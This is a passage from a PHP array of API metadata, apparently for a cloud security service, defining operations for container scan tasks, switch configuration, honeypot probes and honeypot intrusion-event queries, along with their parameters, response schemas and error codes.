\\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"target\\\\\\\\\\\\\\":[\\\\\\\\\\\\\\"qa-dac/yyuan9\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cdp-uat/zentao\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cafdms-qa/xxl-job-admin\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cafdms-qa/utils/jdk\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cafmfbi/ui\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"cdp-uat/tradingdesk-webapp\\\\\\\\\\\\\\"]}\\",\\n \\"ImageTimeRange\\": 30\\n },\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\"\\n}","type":"json"}]', 'title' => 'DescribeImageFixCycleConfig', ], 'CreateContainerScanTaskByAppName' => [ 'summary' => 'Creates a scan task for a running container application based on the application name.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '166115', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'title' => '集群id', 'description' => 'The cluster ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cfb7a55a81f7246b5ac18845ea79a****', ], ], [ 'name' => 'AppNames', 'in' => 'query', 'schema' => [ 'description' => 'The name of the container application.'."\n", 'type' => 'string', 'required' => false, 'example' => 'app-centos-01', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response.'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned if the request was successful.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'title' => '任务id', 'description' => 'The ID of the scan task.'."\n", 'type' => 'string', 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', ], 'TotalCount' => [ 'title' => '总任务数量', 'description' => 'The total number of container applications that you want to scan.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'FinishCount' => [ 'title' => '完成数量', 'description' => 'The number of container applications that are scanned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'CollectTime' => [ 'title' => '采集时间.', 'description' => 'The timestamp generated when the image information was collected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644286364150', ], 'ExecTime' => [ 'title' => '任务运行时间.', 'description' => 'The timestamp generated when the scan task started. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1644286364150', ], 'Status' => [ 'title' => '任务状态', 'description' => 'The status of the scan task. Valid values:'."\n" ."\n" .'* **INIT**: The task is being initialized.'."\n" .'* **PRE_ANALYZER**: The task is being pre-processed.'."\n" .'* **SUCCESS**: The task succeeds.'."\n" .'* **FAIL**: The task fails.'."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'Progress' => [ 'title' => '任务进度', 'description' => 'The progress of the scan task in percentage.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Result' => [ 'title' => '任务结果', 'description' => 'The result of the scan task. Valid values:'."\n" ."\n" .'* **SUCCESS**: The task is successful.'."\n" .'* **TASK_NOT_SUPPORT_REGION**: The task is not supported in the region where the image is deployed.'."\n" ."\n" .'> '."\n", 'type' => 'string', 'example' => 'SUCCESS', ], 'CanCreate' => [ 'title' => '是否能创建新的任务', 'description' => 'Indicates whether you can create more scan tasks. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], [ 'errorCode' => 'TaskIsProcessing', 'errorMessage' => 'Task Is Processing.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\",\\n \\"TotalCount\\": 5,\\n \\"FinishCount\\": 5,\\n \\"CollectTime\\": 1644286364150,\\n \\"ExecTime\\": 1644286364150,\\n \\"Status\\": \\"SUCCESS\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"SUCCESS\\",\\n \\"CanCreate\\": true\\n },\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'CreateContainerScanTaskByAppName', ], 'GetCommonSwitchConfig' => [ 'summary' => 'Queries the configuration of a common switch.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the common switch.'."\n" ."\n" .'> You can call the [ListClientUserDefineRules](~~ListClientUserDefineRules~~) or [ListSystemClientRules](~~ListSystemClientRules~~) operation to obtain the switch type from the response parameter SwitchId.'."\n", 'type' => 'string', 'required' => false, 'example' => 'USER-DEFINE-RULE-SWITCH-TYPE_180****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'TargetSyncStatus' => [ 'description' => 'The status of the synchronization. Valid values:'."\n" ."\n" .'* **sync**: The modifications are being synchronized.'."\n" .'* **valid**: The modifications has taken effect.'."\n", 'type' => 'string', 'example' => 'valid', ], 'TargetDefault' => [ 'description' => 'Specifies whether to turn on the switch for newly added servers. Valid values:'."\n" ."\n" .'* **add**: By default, the switch is turned on for newly added servers.'."\n" .'* **del**: By default, the switch is turned off for newly added servers.'."\n", 'type' => 'string', 'example' => 'add', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"Data\\": {\\n \\"TargetSyncStatus\\": \\"valid\\",\\n \\"TargetDefault\\": \\"add\\"\\n }\\n}","type":"json"}]', 'title' => 'GetCommonSwitchConfig', ], 'CreateHoneypotProbeBind' => [ 'summary' => 'Creates a monitoring or forwarding service for a probe.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', ], 'parameters' => [ [ 'name' => 'ProbeId', 'in' => 'query', 'schema' => [ 'title' => '探针id', 'description' => 'The probe ID.'."\n" ."\n" .'> You can call the [ListHoneypotProbe](~~ListHoneypotProbe~~) operation to query the IDs of probes.'."\n", 'type' => 'string', 'required' => false, 'example' => '36bad711-d1ac-4419-ac68-c1aa280f****', ], ], [ 'name' => 'HoneypotId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐Id', 'description' => 'The honeypot ID.'."\n" ."\n" .'> You can call the [ListHoneypot](~~ListHoneypot~~) operation to query the IDs of honeypots.'."\n", 'type' => 'string', 'required' => false, 'example' => 'dba7d44775be8e0e5888ee3b1a62554a93d2512247cabc38ddeac17a3b3f****', ], ], [ 'name' => 'ServiceIpList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '监听ip列表', 'description' => 'The IP addresses that are monitored.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address that is monitored.'."\n", 'type' => 'string', 'required' => false, 'example' => '0.0.0.0', ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'BindPortList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '蜜罐端口绑定列表', 'description' => 'The ports that are bound to the probe.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TargetPort' => [ 'description' => 'The destination port.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '8080', ], 'StartPort' => [ 'description' => 'The start port on which the probe monitors.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '80', ], 'EndPort' => [ 'description' => 'The end port on which the probe monitors.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '80', ], 'Fixed' => [ 'description' => 'Specifies whether the port is a fixed port. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], 'BindPort' => [ 'description' => 'Specifies whether to bind the port. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], 'Proto' => [ 'description' => 'The type of the protocol. Valid values:'."\n" ."\n" .'* **tcp**'."\n" .'* **udp**'."\n", 'type' => 'string', 'required' => false, 'example' => 'tcp', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code that is returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'BindPortAlreadyExist', 'errorMessage' => 'The specified service port already exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'CreateHoneypotProbeBind', ], 'ListHoneypotProbeUuid' => [ 'summary' => 'Query installed probes', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'ControlNodeId', 'in' => 'query', 'schema' => [ 'title' => '管理节点id', 'description' => 'The ID of the management node.'."\n" ."\n" .'> You can call the [ListHoneypotNode](~~ListHoneypotNode~~) operation to obtain the ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], [ 'name' => 'ProbeType', 'in' => 'query', 'schema' => [ 'title' => '探针类型 主机探针 VPC黑洞探针', 'description' => 'The type of the probe. Valid values:'."\n" ."\n" .'* **host_probe**: host probe'."\n" .'* **vpc_black_hole_probe**: virtual private cloud (VPC) probe'."\n", 'type' => 'string', 'required' => false, 'example' => 'host_probe', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and the response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'ListResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The resources of the probe.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The resource ID of the probe.'."\n", 'type' => 'string', 'example' => '28c2de29-302f-49e9-99ee-90d5ca63321a', ], ], 'Count' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '32C9C2A6-B837-538E-921B-90746CB*****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n \\"28c2de29-302f-49e9-99ee-90d5ca63321a\\"\\n ],\\n \\"Count\\": 10,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"32C9C2A6-B837-538E-921B-90746CB*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListHoneypotProbeUuid', 'translator' => 'machine', ], 'StopHoneypot' => [ 'summary' => 'Stops a honeypot.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'HoneypotId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐ID', 'description' => 'The honeypot ID.'."\n" ."\n" .'> You can call the [ListHoneypot](~~ListHoneypot~~) operation to obtain IDs of honeypots.'."\n", 'type' => 'string', 'required' => true, 'example' => '444c699ac151b183b04b562b1dc02639d504c9d097246a322de75c963fe*****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotId' => [ 'title' => '蜜罐ID', 'description' => 'The ID of the honeypot.'."\n", 'type' => 'string', 'example' => '9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****', ], 'HoneypotName' => [ 'title' => '蜜罐自定义名称', 'description' => 'The name of the honeypot.'."\n", 'type' => 'string', 'example' => 'hyl-phpmya****', ], 'ControlNodeName' => [ 'title' => '蜜罐管理节点名称', 'description' => 'The name of the management node to which the honeypot belongs.'."\n", 'type' => 'string', 'example' => 'managerNoden****', ], 'HoneypotImageName' => [ 'title' => '蜜罐镜像名称', 'description' => 'The name of the image that is used for the honeypot.'."\n", 'type' => 'string', 'example' => 'metabase', ], 'PresetId' => [ 'title' => '蜜罐自定义参数ID', 'description' => 'The ID of the honeypot custom parameter.'."\n", 'type' => 'string', 'example' => '868a7579-00b5-4a74-999d-8bd3f411****', ], 'State' => [ 'title' => '蜜罐状态', 'description' => 'The statuses of the honeypots.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status of the honeypot.'."\n", 'type' => 'string', 'example' => 'running', ], ], 'HoneypotImageDisplayName' => [ 'title' => '蜜罐镜像显示名称', 'description' => 'The display name of the image.'."\n", 'type' => 'string', 'example' => 'RuoYi', ], 'NodeId' => [ 'title' => '管理节点唯一id', 'description' => 'The ID of the management node.'."\n", 'type' => 'string', 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C*****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****\\",\\n \\"HoneypotName\\": \\"hyl-phpmya****\\",\\n \\"ControlNodeName\\": \\"managerNoden****\\",\\n \\"HoneypotImageName\\": \\"metabase\\",\\n \\"PresetId\\": \\"868a7579-00b5-4a74-999d-8bd3f411****\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"RuoYi\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'StopHoneypot', ], 'UpdateHoneypotProbeBind' => [ 'summary' => 'Modifies a probe service.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'title' => '探针服务端口id', 'description' => 'The port ID of the probe service.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1906', ], ], [ 'name' => 'ProbeId', 'in' => 'query', 'schema' => [ 'title' => '探针id', 'description' => 'The probe ID.'."\n" ."\n" .'> You can call the [ListHoneypotProbe](~~ListHoneypotProbe~~) operation to query the IDs of probes.'."\n", 'type' => 'string', 'required' => false, 'example' => '36bad711-d1ac-4419-ac68-c1aa280f****'."\n", ], ], [ 'name' => 'BindId', 'in' => 'query', 'schema' => [ 'title' => '服务绑定id', 'description' => 'The unique ID of the honeypot to which the probe is bound.'."\n", 'type' => 'string', 'required' => false, 'example' => 'f52e8624-e43c-473c-8312-e0fed384****'."\n", ], ], [ 'name' => 'BindType', 'in' => 'query', 'schema' => [ 'title' => '服务绑定类型', 'description' => 'The operation that the probe performs. Valid values:'."\n" ."\n" .'* **forward_honey**: forward traffic to a honeypot'."\n" .'* **scan_port**: monitor and scan'."\n", 'type' => 'string', 'required' => false, 'example' => 'forward_honey', ], ], [ 'name' => 'HoneypotId', 'in' => 'query', 'schema' => [ 'title' => '蜜罐Id', 'description' => 'The honeypot ID.'."\n" ."\n" .'> You can call the [ListHoneypot](~~ListHoneypot~~) operation to obtain the IDs of honeypots.'."\n", 'type' => 'string', 'required' => false, 'example' => 'dba7d44775be8e0e5888ee3b1a62554a93d2512247cabc38ddeac17a3b3f****'."\n", ], ], [ 'name' => 'ServiceIpList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '监听ip列表', 'description' => 'The IP addresses that are monitored.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The IP address that is monitored.'."\n", 'type' => 'string', 'required' => false, 'example' => '0.0.0.0'."\n", ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Ports', 'in' => 'query', 'schema' => [ 'title' => '扫描类型', 'description' => 'The ports that are monitored.'."\n", 'type' => 'string', 'required' => false, 'example' => '{\\"tcp\\":\\"1-65535\\",\\"udp\\":\\"1-65535\\"}'."\n", ], ], [ 'name' => 'SetStatus', 'in' => 'query', 'schema' => [ 'title' => '状态设置', 'description' => 'The status of the port.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'BindPortList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '蜜罐端口绑定列表', 'description' => 'The ports that are bound to the probe.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The UUID of the port.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '3183', ], 'TargetPort' => [ 'description' => 'The destination port.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '80', ], 'StartPort' => [ 'description' => 'The start port on which the probe monitors.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '81', ], 'EndPort' => [ 'description' => 'The end port on which the probe monitors.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '81', ], 'Fixed' => [ 'description' => 'Specifies whether the port is fixed. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'boolean', 'required' => false, 'example' => '0', ], 'BindPort' => [ 'description' => 'Specifies whether to bind a port. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], 'Proto' => [ 'description' => 'The type of the protocol. Valid values:'."\n" ."\n" .'* **tcp**'."\n" .'* **udp**'."\n", 'type' => 'string', 'required' => false, 'example' => 'tcp', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page **1**. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned per page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '425D9617-4F4F-571E-A9CF-0245C9FC****', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ProbeNotExist', 'errorMessage' => 'Probe does not exist.', ], [ 'errorCode' => 'BindPortAlreadyExist', 'errorMessage' => 'The specified service port already exists.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"425D9617-4F4F-571E-A9CF-0245C9FC****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'UpdateHoneypotProbeBind', ], 'ListHoneypotEvents' => [ 'summary' => 'Queries the intrusion events detected by honeypots.', 'methods' => [ 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '129270', 'abilityTreeNodes' => [ 'FEATUREsasY2S7U2', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Dealed', 'in' => 'formData', 'schema' => [ 'title' => 'y: 已经处理 n: 未处理 a: 所有', 'description' => 'The status of the event. Valid values:'."\n" ."\n" .'* **y**: handled'."\n" .'* **n**: unhandled'."\n" .'* **a**: all statuses'."\n", 'type' => 'string', 'required' => false, 'example' => 'y', ], ], [ 'name' => 'AlarmEventId', 'in' => 'formData', 'schema' => [ 'description' => 'The ID of the alert.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1259925', ], ], [ 'name' => 'RiskLevelList', 'in' => 'formData', 'style' => 'repeatList', 'schema' => [ 'description' => 'The risk levels.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk level. Valid values:'."\n" ."\n" .'* **2**: low'."\n" .'* **3**: medium'."\n" .'* **4**: high'."\n", 'type' => 'string', 'required' => false, 'example' => '4', ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'HoneypotIdList', 'in' => 'formData', 'style' => 'repeatList', 'schema' => [ 'description' => 'The honeypot IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The honeypot ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '911df9d6fe20451c059edbcffa1d1c33452f6a71e59d4826da067af224*****'."\n", ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'AgentIdList', 'in' => 'formData', 'style' => 'repeatList', 'schema' => [ 'description' => 'The probe IDs.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The probe ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'd3c0dafa-5059-4eb0-8c28-7d40f58*****'."\n", ], 'required' => false, 'maxItems' => 10, ], ], [ 'name' => 'CurrentPage', 'in' => 'formData', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'formData', 'schema' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'RequestId', 'in' => 'formData', 'schema' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'required' => false, 'example' => '2F9CE167-58D5-5DA6-AA3B-923EED02****', ], ], [ 'name' => 'Lang', 'in' => 'formData', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'SrcIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the attack.'."\n", 'type' => 'string', 'required' => false, 'example' => '185.237.96.***', ], ], [ 'name' => 'PortraitId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the attacker profile.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cd48604a-1694-4f03-ade0-ec6994c3*****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'HoneypotEvents' => [ 'description' => 'The intrusion events.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 